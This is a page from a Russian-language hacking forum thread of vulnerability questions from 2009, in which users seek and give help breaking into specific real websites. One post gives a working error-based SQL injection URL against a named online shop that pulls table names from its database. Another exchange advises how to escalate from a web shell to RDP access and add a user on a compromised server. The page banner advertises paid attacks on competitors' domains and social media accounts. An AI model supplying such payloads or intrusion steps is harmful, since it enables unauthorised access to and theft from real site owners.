Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1100 из 2438

1100

Опции темы

Поиск в этой теме

Опции просмотра

#10991

27.12.2009, 23:04

SeNaP

Участник форума

Регистрация: 07.08.2008

Сообщений: 281

С нами: 9347610

Репутация: 165

Цитата:

Сообщение от ILYAtirtir

Вводишь

Код:

javavg games:javavg@localhost:5.0.67-percona-highperf-b7-log

Если нетрудно, можеш обьяснить, почему там скобка?
aaa')

#10992

27.12.2009, 23:17

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Цитата:

Сообщение от SeNaP

Если нетрудно, можеш обьяснить, почему там скобка?
aaa')

Как я уже сказал, запрос такой...
К примеру такой:

Код:

SELECT * FROM `table` WHERE `field` IN ('$str')

#10993

27.12.2009, 23:25

SnooPy

Новичок

Регистрация: 16.12.2009

Сообщений: 18

С нами: 8633175

Репутация: 3

Здравствуйте помогите пожалуйста с sql инъекцией http://kirovmag.ru/catalog/subcat6/index6.php?str=-2&gis=5
ничего в нете путевого ненашел!
недели две себе уже жопу рву из за этого!

#10994

27.12.2009, 23:35

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Цитата:

Сообщение от SnooPy

Инъекция в LIMIT'e.
Раскрутить невозможно.

#10995

27.12.2009, 23:37

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

есть что то типа такого:

PHP код:


		
			
<?php

echo $_SERVER['DOCUMENT_ROOT'];

?>

я непойму почему неполучаеться переобределить переменую, пробывал так index.php?_SERVER[DOCUMENT_ROOT]=qwerty
register_globals стоит в положении On

#10996

27.12.2009, 23:44

l1ght

Reservists Of Antichat - Level 6

Регистрация: 05.12.2006

Сообщений: 195

С нами: 10227206

Репутация: 2163

Цитата:

Сообщение от mailbrush

Инъекция в LIMIT'e.
Раскрутить невозможно.

там соседняя переменная поле сортировки задает

Цитата:

kirovmag.ru/catalog/subcat6/index6.php?sort=(1,2)=(select+count(*),concat((sel ect+table_name+from+information_schema.tables+limi t+1),0x3a,floor(rand()*2))+from+information_schema .tables+group+by+2+limit+1)--+1

__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..

#10997

28.12.2009, 00:10

YuNi|[c

Участник форума

Регистрация: 17.09.2006

Сообщений: 248

С нами: 10340793

Репутация: 66

Цитата:

Сообщение от l1ght

use it:

спс помогло ))

Последний раз редактировалось YuNi|[c; 28.12.2009 в 00:18..

#10998

28.12.2009, 01:29

SeNaP

Участник форума

Регистрация: 07.08.2008

Сообщений: 281

С нами: 9347610

Репутация: 165

Возможно ли подключиться к дедику по RDP имея веб шелл.?
ОС win
На все диски права админа имею
Или как добавить нового пользоателя ?

Последний раз редактировалось SeNaP; 28.12.2009 в 01:41..

#10999

28.12.2009, 01:50

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

С нами: 9846041

Репутация: 1177

Цитата:

Сообщение от SeNaP

да, можно.
как добавить, куча статей в нете. Создает BAT файл и исполняешь его. Открыть RDP - это в реестре. Так же полно статей в нете.

#11000

28.12.2009, 02:46

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

Цитата:

Потому что это елемент масива сервер как ты его переопределиш (в котором путь к папке где скрипты лежат ), я встречал здесь что то TOXA писал, в хедер как то можно было... но это если допустим при редиректе... что то типо такого
тынц

По линку что ты дал немного нето. Это реально, я ж это непридумал сам. Реальные примеры в багтраках встречаються. Пример из реальной жизни:
http://www.exploit-db.com/exploits/10421
в начале imagezoom.php

PHP код:


		
			
require_once($_SERVER["DOCUMENT_ROOT"]."/cms_rc_frontend.php"); 

......

Страница 1100 из 2438

1100

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход